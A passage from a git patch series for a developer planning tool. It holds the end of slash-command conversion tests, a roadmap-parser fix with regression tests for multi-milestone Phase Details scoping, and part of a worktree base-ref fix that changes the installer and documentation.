!result.includes('/gsd-discuss-phase'), + `Expected original /gsd-discuss-phase to be replaced. Got: ${result}`, + ); + }); + + test('backtick-WRAPPED MENTION (single segment): Run `/gsd-execute-phase` now → `$gsd-execute-phase`', () => { + // A backtick-wrapped COMMAND (single segment, no path continuation) MUST + // still be converted — this guards against a naive whitespace-only fix. + const input = 'Run `/gsd-execute-phase` now.'; + const result = convertSlashCommandsToCodexSkillMentions(input); + assert.ok( + result.includes('`$gsd-execute-phase`'), + `Expected backtick-wrapped command to be converted to \`$gsd-execute-phase\`. Got: ${result}`, + ); + assert.ok( + !result.includes('`/gsd-execute-phase`'), + `Expected original \`/gsd-execute-phase\` to be replaced. Got: ${result}`, + ); + }); + + test('parenthetical/backtick list like CONTEXT.md:59: (`/gsd-plan-phase`, `/gsd-progress`) → converted', () => { + const input = 'Available commands: (`/gsd-plan-phase`, `/gsd-progress`) — pick one.'; + const result = convertSlashCommandsToCodexSkillMentions(input); + assert.ok( + result.includes('`$gsd-plan-phase`'), + `Expected /gsd-plan-phase to be converted. Got: ${result}`, + ); + assert.ok( + result.includes('`$gsd-progress`'), + `Expected /gsd-progress to be converted. Got: ${result}`, + ); + }); + + test('start-of-string: /gsd-manager runs → $gsd-manager runs (exercises the ^ branch of lookbehind)', () => { + // This case is IMPOSSIBLE to test through the frontmatter-wrapping pipeline + // (the body always has preceding chars). Direct call exercises the ^ branch. + const input = '/gsd-manager runs the pipeline.'; + const result = convertSlashCommandsToCodexSkillMentions(input); + assert.ok( + result.includes('$gsd-manager'), + `Expected /gsd-manager to be converted. Got: ${result}`, + ); + assert.ok( + !result.includes('/gsd-manager'), + `Expected original /gsd-manager to be replaced. Got: ${result}`, + ); + }); + + test('double-quote wrapped: "/gsd-resume" → "$gsd-resume"', () => { + const input = 'Call "/gsd-resume" to continue.'; + const result = convertSlashCommandsToCodexSkillMentions(input); + assert.ok( + result.includes('"$gsd-resume"'), + `Expected "/gsd-resume" to be converted to "$gsd-resume". Got: ${result}`, + ); + assert.ok( + !result.includes('"/gsd-resume"'), + `Expected original "/gsd-resume" to be replaced. Got: ${result}`, + ); + }); + + // ── End-to-end: headline #712 bug through the real install pipeline ──────── + + test('end-to-end: backtick-wrapped path `/gsd-core/workflows/update.md` survives full Codex install pipeline', () => { + // Uses convertClaudeCommandToCodexSkill (same pattern as #704 tests above) + // to prove the real install path does not corrupt prose references to repo paths. + const input = [ + '---', + 'description: Test', + '---', + '', + 'See `/gsd-core/workflows/update.md` for the update workflow.', + ].join('\n'); + + const output = convertClaudeCommandToCodexSkill(input, 'gsd-test-712-e2e'); + + assert.ok( + !output.includes('$gsd-core'), + `Expected no $gsd-core in converted output. Got:\n${output}`, + ); + assert.ok( + output.includes('/gsd-core/workflows/update.md'), + `Expected backtick-wrapped path to survive conversion. Got:\n${output}`, + ); + }); +}); From edd3c6c332fb6d414e44ed586a82bb979a464e0e Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Sat, 6 Jun 2026 22:13:20 -0400 Subject: [PATCH 31/94] fix(#730): scope current-milestone Phase Details section in roadmap parser (#748) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `extractCurrentMilestone()` scoped the current-milestone window to its `## Phases` checklist subsection and terminated at the milestone's own `## Milestone … (Phase Details)` heading, so the `### Phase N:` detail headers fell outside scope. Every parser-backed command — `init.phase-op` (and thus `/gsd:discuss-phase`, `/gsd:plan-phase`), `state`, `roadmap list`, and `validate health` (W006) — therefore could not resolve phases of any milestone after the first until a `.planning/phases/` directory already existed, blocking discuss/plan. The parser now additionally includes the current milestone's `(Phase Details)` section in scope, located via the already-computed version matches and anchored (boundary-aware) to the selected milestone's version token so sibling sub-milestones sharing a version prefix do not cross-pollinate. The existing heading selection and primary window are unchanged. Adds tests/bug-730-milestone-phase-details-scope.test.cjs covering the two-milestone reproduction, first-milestone non-regression, direct getRoadmapPhaseInternal resolution, validate-health W006 visibility, a three-milestone roadmap, and the closed-sibling sub-milestone case. Co-authored-by: Claude Opus 4.8 --- ...0-roadmap-milestone-phase-details-scope.md | 5 + scripts/lint-test-file-count.allowlist.json | 1 + src/core.cts | 97 ++++-- ...730-milestone-phase-details-scope.test.cjs | 275 ++++++++++++++++++ 4 files changed, 348 insertions(+), 30 deletions(-) create mode 100644 .changeset/730-roadmap-milestone-phase-details-scope.md create mode 100644 tests/bug-730-milestone-phase-details-scope.test.cjs diff --git a/.changeset/730-roadmap-milestone-phase-details-scope.md b/.changeset/730-roadmap-milestone-phase-details-scope.md new file mode 100644 index 000000000..ea32b54a1 --- /dev/null +++ b/.changeset/730-roadmap-milestone-phase-details-scope.md @@ -0,0 +1,5 @@ +--- +type: Fixed +pr: 748 +--- +The roadmap parser now resolves fresh phases of the current milestone in multi-milestone roadmaps. `extractCurrentMilestone()` scoped the current-milestone window to its `## Phases` checklist subsection and stopped at the milestone's own `## Milestone … (Phase Details)` heading, so the `### Phase N:` detail headers fell out of scope. Any command backed by the parser — `init.phase-op` (and therefore `/gsd:discuss-phase` and `/gsd:plan-phase`), `state`, `roadmap list`, and `validate health` (W006) — could not resolve phases of any milestone after the first until a `.planning/phases/` directory already existed, blocking discuss/plan. The parser now also includes the current milestone's `(Phase Details)` section in scope, anchored to the selected milestone's version token so sibling sub-milestones do not cross-pollinate. (#730) diff --git a/scripts/lint-test-file-count.allowlist.json b/scripts/lint-test-file-count.allowlist.json index f16983ace..abec29430 100644 --- a/scripts/lint-test-file-count.allowlist.json +++ b/scripts/lint-test-file-count.allowlist.json @@ -43,6 +43,7 @@ }, "milestone": { "files": [ + "bug-730-milestone-phase-details-scope.test.cjs", "milestone-archive.test.cjs", "milestone-helper.test.cjs", "milestone-prefixed-convention.test.cjs", diff --git a/src/core.cts b/src/core.cts index c031210a7..a62e1c38f 100644 --- a/src/core.cts +++ b/src/core.cts @@ -1085,37 +1085,40 @@ function extractCurrentMilestone(content: string, cwd?: string): string { const sectionStart = selected.index; - const sectionMatch = selected; - const headingLevel = (sectionMatch[1].match(/^(#{1,3})\s/) ?? ['', '#'])[1].length; - const restContent = content.slice(sectionStart + sectionMatch[0].length); - const nextMilestonePattern = new RegExp( - `^#{1,${headingLevel}}\\s+(?!Phase\\s+\\S)(?:.*v\\d+\\.\\d+|✅|📋|🚧)`, - 'i' - ); - - let sectionEnd = content.length; - let fenceChar: string | null = null; - let fenceLen = 0; - let charOffset = 0; - for (const line of restContent.split('\n')) { - const fenceMatch = line.match(/^\s{0,3}((?:`{3,}|~{3,}))(.*)/); - if (fenceMatch) { - const char = fenceMatch[1][0]; - const len = fenceMatch[1].length; - const trailing = fenceMatch[2] || ''; - if (!fenceChar) { - fenceChar = char; - fenceLen = len; - } else if (char === fenceChar && len >= fenceLen && /^\s*$/.test(trailing)) { - fenceChar = null; - fenceLen = 0; + const computeSectionEnd = (headingText: string, headingStart: number): number => { + const level = (headingText.match(/^(#{1,3})\s/) ?? ['', '#'])[1].length; + const rest = content.slice(headingStart + headingText.length); + const stopPattern = new RegExp( + `^#{1,${level}}\\s+(?!Phase\\s+\\S)(?:.*v\\d+\\.\\d+|✅|📋|🚧)`, + 'i', + ); + let end = content.length; + let fc: string | null = null; + let fl = 0; + let off = 0; + for (const line of rest.split('\n')) { + const fm = line.match(/^\s{0,3}((?:`{3,}|~{3,}))(.*)/); + if (fm) { + const ch = fm[1][0]; + const ln = fm[1].length; + const trailing = fm[2] || ''; + if (!fc) { + fc = ch; + fl = ln; + } else if (ch === fc && ln >= fl && /^\s*$/.test(trailing)) { + fc = null; + fl = 0; + } + } else if (!fc && stopPattern.test(line)) { + end = headingStart + headingText.length + off; + break; } - } else if (!fenceChar && nextMilestonePattern.test(line)) { - sectionEnd = sectionStart + sectionMatch[0].length + charOffset; - break; + off += line.length + 1; } - charOffset += line.length + 1; - } + return end; + }; + + const sectionEnd = computeSectionEnd(selected[0], sectionStart); const anyMilestonePattern = /^#{1,3}\s+(?!Phase\s+\S)(?:.*v\d+\.\d+|✅|📋|🚧)/im; const firstMilestoneMatch = content.match(anyMilestonePattern); @@ -1125,12 +1128,46 @@ function extractCurrentMilestone(content: string, cwd?: string): string { const beforeMilestones = content.slice(0, preambleCutoff); const currentSection = content.slice(sectionStart, sectionEnd); + // Multi-milestone roadmaps split each added milestone across two version-bearing + // headings: a `## Phases` checklist subsection (early) and a dedicated + // `## Milestone … (Phase Details)` section (late) holding the `### Phase N:` + // detail headers. The scope window above stops at the next version-bearing + // heading — the current milestone's OWN Phase Details heading — leaving those + // detail headers outside `currentSection`. Append that section so phase + // resolution and counting see the current milestone's phases. Anchor the lookup + // to the SELECTED heading's specific version token (boundary-aware, so a + // `v3.0` state does not match a `v3.0-A` sub-milestone) so sibling milestones + // that share a version prefix do not cross-pollinate. (#730) + const selectedVersionToken = selected[1].match( + /v\d+(?:\.\d+)+(?:[-.][A-Za-z0-9]+)*/i, + )?.[0]; + const detailsVersionBoundary = selectedVersionToken + ? new RegExp(`${escapeRegex(selectedVersionToken)}(?![\\w.-])`, 'i') + : null; + let detailsSection = ''; + const detailsMatch = allMatches.find( + (m) => + /\(Phase\s+Details\)/i.test(m[1]) && + !isClosed(m[1]) && + (!detailsVersionBoundary || detailsVersionBoundary.test(m[1])) && + (m.index ?? 0) >= sectionEnd, + ); + if (detailsMatch) { + const detailsStart = detailsMatch.index ?? 0; + detailsSection = content.slice( + detailsStart, + computeSectionEnd(detailsMatch[0], detailsStart), + ); + } + const preamble = beforeMilestones .replace(/
[\s\S]*?<\/details>/gi, '') .replace(/^#{2,4}\s*Phase\s+[\w][\w.-]*\s*:[^\n]*(?:\n(?!#{1,6}\s)[^\n]*)*\n?/gim, '') .replace(/^#{1,4}\s*Phase Details\b[^\n]*\n?/gim, ''); - return preamble + currentSection; + return detailsSection + ? preamble + currentSection + '\n' + detailsSection + : preamble + currentSection; } /** diff --git a/tests/bug-730-milestone-phase-details-scope.test.cjs b/tests/bug-730-milestone-phase-details-scope.test.cjs new file mode 100644 index 000000000..c44ef4f20 --- /dev/null +++ b/tests/bug-730-milestone-phase-details-scope.test.cjs @@ -0,0 +1,275 @@ +/** + * Regression test for bug #730: phase details defined under a milestone-scoped + * "## Milestone vX.Y — … (Phase Details)" section are invisible to phase + * resolution (getRoadmapPhaseInternal / init phase-op) when the flat shared + * "## Phase Details" section for an earlier milestone sits between the shared + * ## Phases checklist and the per-milestone Phase Details section. + * + * The bug manifests ONLY before any .planning/phases/ directory exists because + * findPhaseInternal masks it once the dir is created. RED step — tests 1 and 3 + * are expected to fail against current code. + */ + +const { test, describe, beforeEach, afterEach } = require('node:test'); +const assert = require('node:assert/strict'); +const fs = require('fs'); +const path = require('path'); +const os = require('os'); +const { runGsdTools, cleanup } = require('./helpers.cjs'); + +// --------------------------------------------------------------------------- +// Shared fixture content +// --------------------------------------------------------------------------- + +const STATE_CONTENT = `--- +milestone: v1.1 +--- +`; + +const ROADMAP_CONTENT = `# Roadmap: Example + +## Phases + +- [x] **Phase 1: Setup** — initial scaffold + +### Milestone v1.1 — Second milestone (added 2026-01-01) + +- [ ] **Phase 2: Feature** — the new thing + +## Phase Details + +### Phase 1: Setup +**Goal:** scaffold the app. + +## Milestone v1.1 — Second milestone (Phase Details) + +### Phase 2: Feature +**Goal:** build the new thing. +`; + +// --------------------------------------------------------------------------- +// Helper: create a bare project with .planning/ but NO .planning/phases/ dir +// --------------------------------------------------------------------------- + +function createBareProject() { + const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-test-730-')); + fs.mkdirSync(path.join(tmpDir, '.planning'), { recursive: true }); + return tmpDir; +} + +// --------------------------------------------------------------------------- +// Suite +// --------------------------------------------------------------------------- + +describe('bug #730 — milestone (Phase Details) section scope resolution', () => { + let dir; + + beforeEach(() => { + dir = createBareProject(); + fs.writeFileSync(path.join(dir, '.planning', 'STATE.md'), STATE_CONTENT, 'utf-8'); + fs.writeFileSync(path.join(dir, '.planning', 'ROADMAP.md'), ROADMAP_CONTENT, 'utf-8'); + }); + + afterEach(() => { + cleanup(dir); + }); + + // ------------------------------------------------------------------------- + // Test 1 (AC1): init phase-op resolves phase defined only under its + // per-milestone "(Phase Details)" section + // ------------------------------------------------------------------------- + test('init phase-op resolves a current-milestone phase defined only under its (Phase Details) section', () => { + const r = runGsdTools('init phase-op 2', dir); + assert.ok(r.success, `init phase-op 2 failed: ${r.error}`); + + const out = JSON.parse(r.output); + assert.strictEqual(out.phase_found, true, `phase_found should be true; got phase_found=${out.phase_found}, expected_phase_dir=${out.expected_phase_dir}`); + assert.strictEqual(out.phase_name, 'Feature', `phase_name should be 'Feature'; got '${out.phase_name}'`); + assert.strictEqual(out.padded_phase, '02', `padded_phase should be '02'; got '${out.padded_phase}'`); + assert.strictEqual(out.expected_phase_dir, '.planning/phases/02-feature', `expected_phase_dir should be '.planning/phases/02-feature'; got '${out.expected_phase_dir}'`); + }); + + // ------------------------------------------------------------------------- + // Test 2 (AC4): first-milestone phase still resolves via the flat + // "## Phase Details" section — no regression + // ------------------------------------------------------------------------- + test('init phase-op still resolves a first-milestone phase (no regression on flat Phase Details)', () => { + const r = runGsdTools('init phase-op 1', dir); + assert.ok(r.success, `init phase-op 1 failed: ${r.error}`); + + const out = JSON.parse(r.output); + assert.strictEqual(out.phase_found, true, `phase_found should be true for phase 1; got ${out.phase_found}`); + assert.strictEqual(out.phase_name, 'Setup', `phase_name should be 'Setup'; got '${out.phase_name}'`); + }); + + // ------------------------------------------------------------------------- + // Test 3 (AC5): getRoadmapPhaseInternal resolves the current-milestone phase + // directly before any phases/ dir exists + // ------------------------------------------------------------------------- + test('getRoadmapPhaseInternal resolves the current-milestone phase directly before any dir exists', () => { + const core = require('../gsd-core/bin/lib/core.cjs'); + + const res = core.getRoadmapPhaseInternal(dir, '2'); + assert.ok(res !== null && res !== undefined, `getRoadmapPhaseInternal returned null/undefined for phase 2`); + assert.strictEqual(res.found, true, `res.found should be true; got ${JSON.stringify(res)}`); + assert.strictEqual(res.phase_name, 'Feature', `res.phase_name should be 'Feature'; got '${res.phase_name}'`); + }); + + // ------------------------------------------------------------------------- + // Test 4 (AC3): validate health raises W006 for a current-milestone phase + // defined under (Phase Details) with no directory on disk. + // + // Before the fix, extractCurrentMilestone's slice stopped before the + // "## Milestone v1.1 — … (Phase Details)" section, so phase 2's + // "### Phase 2: Feature" header was invisible and W006 was never raised. + // After the fix the slice includes that section and W006 is emitted. + // + // This test uses its OWN local fixture (separate tmpdir) so it does not + // disturb the shared beforeEach/afterEach fixture used by tests 1–3. + // ------------------------------------------------------------------------- + test('validate health raises W006 for a started current-milestone phase defined under (Phase Details) with no directory', () => { + const localDir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-test-730-t4-')); + try { + const planning = path.join(localDir, '.planning'); + fs.mkdirSync(planning, { recursive: true }); + + // STATE.md — milestone: v1.1 + fs.writeFileSync( + path.join(planning, 'STATE.md'), + `---\nmilestone: v1.1\n---\n`, + 'utf-8', + ); + + // ROADMAP.md — phase 2 is [x] (started/complete) so the not-started + // guard does NOT suppress W006. Phase 2's details live exclusively in + // the per-milestone "(Phase Details)" section (the blind-spot pre-fix). + fs.writeFileSync( + path.join(planning, 'ROADMAP.md'), + `# Roadmap: Example\n\n## Phases\n\n- [x] **Phase 1: Setup** — initial scaffold\n\n### Milestone v1.1 — Second milestone (added 2026-01-01)\n\n- [x] **Phase 2: Feature** — the new thing\n\n## Phase Details\n\n### Phase 1: Setup\n**Goal:** scaffold the app.\n\n## Milestone v1.1 — Second milestone (Phase Details)\n\n### Phase 2: Feature\n**Goal:** build the new thing.\n`, + 'utf-8', + ); + + // Create the phase 1 directory so phase 1 does NOT trigger W006. + // Phase 2 has NO directory — that's the missing-dir condition under test. + fs.mkdirSync(path.join(planning, 'phases', '01-setup'), { recursive: true }); + + const result = runGsdTools(['validate', 'health'], localDir); + const payload = JSON.parse(result.output); + const warnings = payload.warnings || []; + + // Find a W006 entry whose message references phase 2 (by number or name). + const w006ForPhase2 = warnings.find( + (w) => + w.code === 'W006' && + (/\b2\b/.test(w.message) || /\b02\b/.test(w.message) || /Feature/i.test(w.message)), + ); + + assert.ok( + w006ForPhase2 != null, + `Expected a W006 warning referencing phase 2 (Feature) — phase 2 is started ([x]) and has no directory on disk, ` + + `but its ### Phase 2: header lives in the Milestone v1.1 (Phase Details) section which was invisible before the fix. ` + + `Got warnings: ${JSON.stringify(warnings)}`, + ); + } finally { + cleanup(localDir); + } + }); + + // ------------------------------------------------------------------------- + // Test 5: three-milestone roadmap, current = latest (v1.2) + // ------------------------------------------------------------------------- + test('init phase-op resolves the latest milestone phase in a 3-milestone roadmap', () => { + const localDir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-test-730-t5-')); + try { + const planning = path.join(localDir, '.planning'); + fs.mkdirSync(planning, { recursive: true }); + + fs.writeFileSync( + path.join(planning, 'STATE.md'), + `---\nmilestone: v1.2\n---\n`, + 'utf-8', + ); + + fs.writeFileSync( + path.join(planning, 'ROADMAP.md'), + `# Roadmap: Example\n\n## Phases\n\n- [x] **Phase 1: Setup** — done\n\n### Milestone v1.1 — Second (added 2026-01-01)\n\n- [x] **Phase 2: Feature** — done\n\n### Milestone v1.2 — Third (added 2026-02-01)\n\n- [ ] **Phase 3: Polish** — current\n\n## Phase Details\n\n### Phase 1: Setup\n**Goal:** scaffold.\n\n## Milestone v1.1 — Second (Phase Details)\n\n### Phase 2: Feature\n**Goal:** build.\n\n## Milestone v1.2 — Third (Phase Details)\n\n### Phase 3: Polish\n**Goal:** refine.\n`, + 'utf-8', + ); + + const r = runGsdTools('init phase-op 3', localDir); + assert.ok(r.success, `init phase-op 3 failed: ${r.error}`); + + const out = JSON.parse(r.output); + assert.strictEqual(out.phase_found, true, `phase_found should be true; got phase_found=${out.phase_found}`); + assert.strictEqual(out.phase_name, 'Polish', `phase_name should be 'Polish'; got '${out.phase_name}'`); + assert.strictEqual(out.padded_phase, '03', `padded_phase should be '03'; got '${out.padded_phase}'`); + assert.strictEqual(out.expected_phase_dir, '.planning/phases/03-polish', `expected_phase_dir should be '.planning/phases/03-polish'; got '${out.expected_phase_dir}'`); + } finally { + cleanup(localDir); + } + }); + + // ------------------------------------------------------------------------- + // Test 6: sub-milestone sharing a version prefix — closed sibling must NOT + // cross-pollinate into the active milestone's Phase Details lookup (#730) + // ------------------------------------------------------------------------- + test('init phase-op anchors Phase Details to the selected sub-milestone, not a closed same-prefix sibling', () => { + const localDir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-test-730-t6-')); + try { + const planning = path.join(localDir, '.planning'); + fs.mkdirSync(planning, { recursive: true }); + + // STATE.md — milestone: v3.0 (matches v3.0-B active slice) + fs.writeFileSync( + path.join(planning, 'STATE.md'), + `---\nmilestone: v3.0\n---\n`, + 'utf-8', + ); + + // ROADMAP.md — v3.0-A is SHIPPED (closed), v3.0-B is active. + // The Phase Details for v3.0-A comes FIRST — without version-boundary + // anchoring the old code would grab it (first non-closed (Phase Details) + // heading outside the window), returning phase_name='Alpha' instead of 'Beta'. + fs.writeFileSync( + path.join(planning, 'ROADMAP.md'), + [ + '# Roadmap: Example', + '', + '## Phases', + '', + '### Milestone v3.0-A — First slice (added 2026-01-01) ✅ SHIPPED', + '', + '- [x] **Phase 1: Alpha** — done', + '', + '### Milestone v3.0-B — Second slice (added 2026-02-01)', + '', + '- [ ] **Phase 2: Beta** — current', + '', + '## Phase Details', + '', + '## Milestone v3.0-A — First slice (Phase Details)', + '', + '### Phase 1: Alpha', + '**Goal:** alpha goal.', + '', + '## Milestone v3.0-B — Second slice (Phase Details)', + '', + '### Phase 2: Beta', + '**Goal:** beta goal.', + '', + ].join('\n'), + 'utf-8', + ); + + const r = runGsdTools('init phase-op 2', localDir); + assert.ok(r.success, `init phase-op 2 failed: ${r.error}`); + + const out = JSON.parse(r.output); + assert.strictEqual(out.phase_found, true, `phase_found should be true; got phase_found=${out.phase_found}, output=${JSON.stringify(out)}`); + assert.strictEqual(out.phase_name, 'Beta', `phase_name should be 'Beta' (v3.0-B section), not '${out.phase_name}' (would indicate v3.0-A cross-pollination)`); + assert.strictEqual(out.expected_phase_dir, '.planning/phases/02-beta', `expected_phase_dir should be '.planning/phases/02-beta'; got '${out.expected_phase_dir}'`); + } finally { + cleanup(localDir); + } + }); +}); From cf8bd3cd5e5424384075ab497cc57b763abc9ecf Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Sat, 6 Jun 2026 23:40:24 -0400 Subject: [PATCH 32/94] fix(#683): auto-degrade phase execution to sequential on worktree base mismatch (#749) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(#683): auto-degrade phase execution to sequential on worktree base mismatch Claude Code forks worktree-isolated executors off the repository default branch (origin/HEAD), not the orchestrator's HEAD. Running /gsd-execute-phase on a branch diverged from the default (unmerged milestone/feature branch) left every executor without the phase's plan files and tripped the worktree-branch-check guard with `exit 42` — 100% reproducible, all OSes. - New module src/worktree-base-ref.cts: HEAD-vs-fork-base drift detection (origin/HEAD with symbolic-ref fallback) and no-clobber worktree.baseRef management, exposed as `worktree base-check` / `worktree set-baseref`. - execute-phase.md: pre-dispatch, for Claude Code with worktrees enabled, auto-degrades the run to sequential on the main tree when a base mismatch is detected, recommending worktree.baseRef:"head". The exit-42 guard stays as a backstop. - Installer: fresh local Claude installs set worktree.baseRef:"head" in .claude/settings.local.json (no-clobber, respecting an explicit shared settings.json value); upgrades print an opt-in notice pointing at `gsd-tools worktree set-baseref`. - Docs: how-to guide, CLI/config reference, planning-config cross-ref. Co-Authored-By: Claude Opus 4.8 * fix(#683): auto-apply worktree.baseRef on upgrade; gate fresh+upgrade on use_worktrees Per maintainer direction: on a local Claude Code UPGRADE, set worktree.baseRef:"head" automatically (no opt-in notice) when the project's workflow.use_worktrees is enabled, instead of merely printing a remediation notice. For consistency the FRESH path is now gated the same way: both paths compute worktrees-enabled once (bounded walk-up read of .planning/config.json, default enabled unless workflow.use_worktrees === false) and apply the no-clobber baseRef only when enabled — never overwriting an explicit value in settings.local.json or a shared settings.json. gsd-tools worktree set-baseref remains for manual use. Docs + changeset updated; tests hardened (file-exists assertions, fresh+disabled case, upgrade idempotency). Co-Authored-By: Claude Opus 4.8 * fix(#683): measure workflow byte-budget on LF, fixing Windows-only CI failure The workflow-size-budget test failed only on Windows: git checks out the .md files as CRLF (no eol=lf in .gitattributes) and byteCount used fs.statSync().size (raw on-disk bytes), counting an extra \r per line. That inflated execute-phase.md — the XL high-water-mark file pinned near its ceiling by the tighten-only ratchet — from 88492 LF bytes to ~90245 on Windows, over the 90000 XL ceiling, while passing on the LF-checkout Mac/Linux runners. The ceilings are explicitly "calibrated against raw `wc -c`" on an LF checkout, so the measurement should be LF-based on every platform. byteCount now reads the file and counts Buffer.byteLength after stripping CR, making the budget platform-independent (a no-op on LF checkouts; verified statSync === normalized for all 88 workflow files). No ceilings changed. Added a regression test asserting CRLF and LF content of the same file count identically. Co-Authored-By: Claude Opus 4.8 * fix(#683): make worktree-base-ref test path mocks Windows-safe (path.join) tests/worktree-base-ref.test.cjs keyed its injected readFile/writeFile mocks (and a few expected `file` values) with forward-slash template literals like `${claudeDir}/settings.local.json`. The module composes those paths with path.join(), which emits backslashes on Windows, so the mock keys never matched the module's lookup → readFile returned null → resolveEffectiveBaseRef / cmdWorktreeBaseCheck / cmdWorktreeSetBaseRef (and the JSONC variants) failed on the Windows full-test runner only (they passed on Mac/Linux, and the install tests passed because they use the real filesystem). The module is correct; only the test fixtures hardcoded '/'. All mock keys and path assertions now use path.join(base, ...) mirroring the module, so they match on every platform (no-op on POSIX). 19 path references across 16 lines. Co-Authored-By: Claude Opus 4.8 --------- Co-authored-by: Claude Opus 4.8 --- .changeset/noble-cranes-sing.md | 5 + .gitignore | 1 + bin/install.js | 70 ++ docs/CLI-TOOLS.md | 30 + docs/CONFIGURATION.md | 2 +- docs/INVENTORY-MANIFEST.json | 3 +- docs/INVENTORY.md | 3 +- docs/README.md | 1 + docs/how-to/fix-worktree-base-mismatch.md | 143 ++++ docs/how-to/recover-and-troubleshoot.md | 14 + eslint.config.mjs | 1 + gsd-core/bin/gsd-tools.cjs | 6 +- gsd-core/references/planning-config.md | 4 +- gsd-core/workflows/execute-phase.md | 12 + src/worktree-base-ref.cts | 368 ++++++++++ tests/workflow-size-budget.test.cjs | 41 +- tests/worktree-base-ref.test.cjs | 773 ++++++++++++++++++++++ tests/worktree-baseref-install.test.cjs | 609 +++++++++++++++++ 18 files changed, 2077 insertions(+), 9 deletions(-) create mode 100644 .changeset/noble-cranes-sing.md create mode 100644 docs/how-to/fix-worktree-base-mismatch.md create mode 100644 src/worktree-base-ref.cts create mode 100644 tests/worktree-base-ref.test.cjs create mode 100644 tests/worktree-baseref-install.test.cjs diff --git a/.changeset/noble-cranes-sing.md b/.changeset/noble-cranes-sing.md new file mode 100644 index 000000000..a032a87bb --- /dev/null +++ b/.changeset/noble-cranes-sing.md @@ -0,0 +1,5 @@ +--- +type: Fixed +pr: 749 +--- +**Phase execution no longer halts with `exit 42` (worktree base mismatch) when run on a branch diverged from the default branch (#683).** Claude Code forks worktree-isolated executors off the repository default branch (`origin/HEAD`), so running `/gsd-execute-phase` on an unmerged milestone/feature branch left every executor without the phase's plan files and tripped the `worktree-branch-check` guard (100% reproducible, all OSes). Execute-phase now detects this before dispatch and automatically degrades to sequential execution on the main working tree, recommending the permanent fix `worktree.baseRef:"head"`. Both fresh installs and upgrades of GSD Core set `worktree.baseRef:"head"` in `.claude/settings.local.json` automatically (no-clobber) when `workflow.use_worktrees` is enabled (the default); `gsd-tools worktree set-baseref` remains available for manual use (e.g. after toggling worktrees on later). The `exit 42` guard remains as a backstop. diff --git a/.gitignore b/.gitignore index fbaf91d64..da6a2f08e 100644 --- a/.gitignore +++ b/.gitignore @@ -118,6 +118,7 @@ build/ /gsd-core/bin/lib/install-profiles.cjs /gsd-core/bin/lib/intel.cjs /gsd-core/bin/lib/installer-migrations.cjs +/gsd-core/bin/lib/worktree-base-ref.cjs /gsd-core/bin/lib/worktree-safety.cjs /gsd-core/bin/lib/planning-workspace.cjs /gsd-core/bin/lib/runtime-artifact-layout.cjs diff --git a/bin/install.js b/bin/install.js index 56b09a9df..5c2b3e9df 100755 --- a/bin/install.js +++ b/bin/install.js @@ -31,6 +31,10 @@ const { const { resolveAntigravityGlobalDir, } = require('../gsd-core/bin/lib/runtime-homes.cjs'); +const { + applyWorktreeBaseRef, + readBaseRefFromSettings, +} = require('../gsd-core/bin/lib/worktree-base-ref.cjs'); /** * Runtimes that register hyphen-form `name:` per #2808 AND copy agent bodies @@ -8585,6 +8589,10 @@ function install(isGlobal, runtime = 'claude', options = {}) { // agentsSrc is declared here (let, not const) because installCodexConfig() inside the // Codex config block below also references it, and that block is outside the try scope. let agentsSrc = path.join(src, 'agents'); + // Capture upgrade signal BEFORE files are written (#683). Must be declared at function + // scope (outside the try block below) so it is accessible in the settings section later. + // Absent VERSION = fresh install; present VERSION = upgrade/re-install. + const priorInstallExisted = fs.existsSync(path.join(targetDir, 'gsd-core', 'VERSION')); try { installerMigrationResult = runInstallerMigrations({ configDir: targetDir, @@ -10116,6 +10124,68 @@ function install(isGlobal, runtime = 'claude', options = {}) { ? buildHookCommand(targetDir, 'gsd-update-banner.js', hookOpts) : localCmd('gsd-update-banner.js')); + // #683: Set worktree.baseRef:"head" in settings.local.json for local Claude installs. + // Both fresh and upgrade paths apply only when worktrees are enabled for the project. + // Never applies to global installs, non-Claude runtimes, or when the user already + // has an explicit baseRef in EITHER settings.local.json OR settings.json (no-clobber). + // Guard: skip entirely when settings is not a plain object (e.g. parsed to [] or primitive) + // to avoid crashing applyWorktreeBaseRef on unexpected top-level shapes. + if (isLocalClaude && settings !== null && typeof settings === 'object' && !Array.isArray(settings)) { + // Read shared settings.json baseRef so no-clobber spans both files (#683 FIX 1). + // shared settings.json no-clobber is checked here; settings.local.json no-clobber + // is enforced inside applyWorktreeBaseRef itself. + const sharedSettingsForBaseRef = readSettings(path.join(targetDir, 'settings.json')) || {}; + const sharedBaseRef = readBaseRefFromSettings(sharedSettingsForBaseRef); + + // Compute worktrees-enabled ONCE for both fresh and upgrade paths (FIX A: DRY + consistency). + // Read workflow.use_worktrees from .planning/config.json by walking up from + // targetDir (same walk-up pattern as readGsdRuntimeProfileResolver). Defaults + // to enabled (true) when the file is missing, unreadable, or the key is absent; + // only boolean false disables (string "false" stays enabled). + let worktreesEnabled = true; // default: enabled + try { + let probeDir = path.resolve(targetDir); + for (let depth = 0; depth < 8; depth += 1) { + const candidate = path.join(probeDir, '.planning', 'config.json'); + if (fs.existsSync(candidate)) { + try { + const parsed = JSON.parse(stripJsonComments(fs.readFileSync(candidate, 'utf-8'))); + if (parsed && typeof parsed === 'object' && + parsed.workflow && parsed.workflow.use_worktrees === false) { + worktreesEnabled = false; + } + } catch { + // Malformed config.json — treat as enabled (safe fallback). + } + break; + } + const parent = path.dirname(probeDir); + if (parent === probeDir) break; + probeDir = parent; + } + } catch { + // Any unexpected error reading .planning — default to enabled. + } + + if (worktreesEnabled && sharedBaseRef === null) { + if (!priorInstallExisted) { + // Fresh install — apply no-clobber baseRef set. + // canonical no-clobber logic: src/worktree-base-ref.cts applyWorktreeBaseRef (#683) + const { changed } = applyWorktreeBaseRef(settings); + if (changed) { + console.log(` ${green}✓${reset} Set worktree.baseRef:"head" for Claude Code worktrees (forks phase worktrees off HEAD; #683)`); + } + } else { + // Upgrade — auto-apply no-clobber baseRef set when worktrees are enabled. + const { changed } = applyWorktreeBaseRef(settings); + if (changed) { + console.log(` ${green}✓${reset} Enabled worktree.baseRef:"head" for 